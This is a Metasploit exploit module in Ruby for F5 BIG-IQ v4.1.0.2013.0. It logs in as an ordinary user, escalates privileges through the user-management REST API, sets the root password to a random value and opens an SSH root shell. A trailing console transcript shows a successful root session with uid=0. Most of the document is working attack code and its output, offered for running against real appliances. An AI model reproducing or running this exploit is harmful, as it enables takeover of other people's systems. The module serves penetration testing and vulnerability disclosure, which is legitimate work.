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## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'json' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "F5 BIG-IQ v4.1.0.2013.0 authenticated arbitrary user password change", 'Description'=> %q{ F5 BIG-IQ v4.1.0.2013.0 is vulnerable to a privilege escalation attack which allows an attacker to change the root users password. This module does just this, then SSH's in. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Brandon Perry <bperry.volatile@gmail.com>' ], 'References' => [ ['URL', 'http://volatile-minds.blogspot.com/2014/05/f5-big-iq-v41020130-authenticated.html'] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets'=> [ ['BIG-IQ 4.1.0.2013.0', {}] ], 'Privileged' => true, 'DefaultOptions'=> { 'SSL' => true, 'ExitFunction' => "none" }, 'Payload'=> { 'Compat' => { 'PayloadType'=> 'cmd_interact', 'ConnectionType' => 'find' } }, 'DisclosureDate' => "Sep 23 2013", 'DefaultTarget'=> 0)) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']), OptString.new('USERNAME', [true, 'The user to authenticate as.', 'username']), OptString.new('PASSWORD', [true, 'The password to authenticate with.', 'password']), OptString.new('ADMINISTRATOR', [true, 'The administrator to spoof for privilege escalation', 'root']), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ], self.class) end def exploit post = { 'username' => datastore['USERNAME'], 'passwd' => datastore['PASSWORD'] } print_status("Authenticating as " + datastore['USERNAME']) #Simple post to get us a cookie so we can change our password res = send_request_cgi({ 'method' => 'POST', 'uri' => '/ui/actions/logmein.html', 'vars_post' => post }) if res.headers["Location"] != "/" fail_with("Authentication failed") end cookie = res.get_cookies #this gets turned into JSON # #generation will be set in try_generation if it isn't correct # #This is also the attempt at privilege escalation, so we preserve the password post = { "name" => datastore['ADMINISTRATOR'], "displayName" => "fdsa", "generation" => 1, "lastUpdateMicros" => 1395360806678747, "kind" => "shared:authz:users:usersworkerstate", "selfLink" => "https://localhost/mgmt/shared/authz/users/" + datastore['USERNAME'], "password" => datastore['PASSWORD'], "password2" => datastore['PASSWORD'], "state" => "ACTIVE" } print_status("Escalating privileges to that of " + datastore["ADMINISTRATOR"]) try_generation(post, cookie, '/mgmt/shared/authz/users/' + datastore['USERNAME']) password = Rex::Text.rand_text_alpha(rand(32)+5) #this is when we change the password for the root user post = { "name" => "root", "displayName" => "root", "generation" => 1, "lastUpdateMicros" => 1395359570236413, "kind" => "shared:authz:users:usersworkerstate", "selfLink" => "https://localhost/mgmt/shared/authz/users/root", "password" => password, "password2" => password, "state" => "ACTIVE" } select(nil,nil,nil,5) print_status("Changing root user password to " + password) try_generation(post, cookie, '/mgmt/shared/authz/users/root') res = do_login('root', password) if res print_good("Login Successful with 'root:#{password}'") handler(res.lsock) end end def try_generation(put, cookie, uri) done = false while !done res = send_request_cgi({ 'method' => "PUT", 'uri' => uri, 'data' => put.to_json, 'cookie' => cookie }) if res and res.body =~ /Invalid generation/ put['generation'] = /Need (\d{1,9}), received \d{1,9}/.match(res.body)[1] elsif res and res.body =~ /encryptedPassword/ done = true else fail_with("Didn't get a response that I expected") end end end def do_login(user, pass) opts = { :auth_methods => ['password', 'keyboard-interactive'], :msframework=> framework, :msfmodule=> self, :port => 22, :disable_agent => true, :config => true, :password => pass, :record_auth_info => true, :proxies => datastore['Proxies'] } opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh = nil ssh = Net::SSH.start(datastore['RHOST'], user, opts) rescue Rex::ConnectionError, Rex::AddressInUse return nil rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return nil rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return nil rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" return nil rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return nil end if ssh conn = Net::SSH::CommandStream.new(ssh, '/bin/sh', true) return conn end return nil end end __END__ msf exploit(f5_bigiq_passwd_update) > show options Module options (exploit/linux/http/f5_bigiq_passwd_update): Name Current SettingRequiredDescription ---- ---------------------------------- ADMINISTRATORroot yes The administrator to spoof for privilege escalation PASSWORD notpasswordyes The password to authenticate with. Proxies noUse a proxy chain RHOST192.168.1.8yes The target address RPORT443yes The target port SSH_TIMEOUT30 noSpecify the maximum time to negotiate a SSH session TARGETURI/yes The URI of the vulnerable instance USERNAME username yes The user to authenticate as. VHOST noHTTP server virtual host Payload options (cmd/unix/interact): NameCurrent SettingRequiredDescription -------------------------------------- Exploit target: IdName ------ 0 a msf exploit(f5_bigiq_passwd_update) > exploit [+] Login Successful with 'root:qBvBY' [*] Found shell. [*] Command shell session 3 opened (192.168.1.31:58165 -> 192.168.1.8:22) at 2014-03-20 21:18:09 -0500 id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh |
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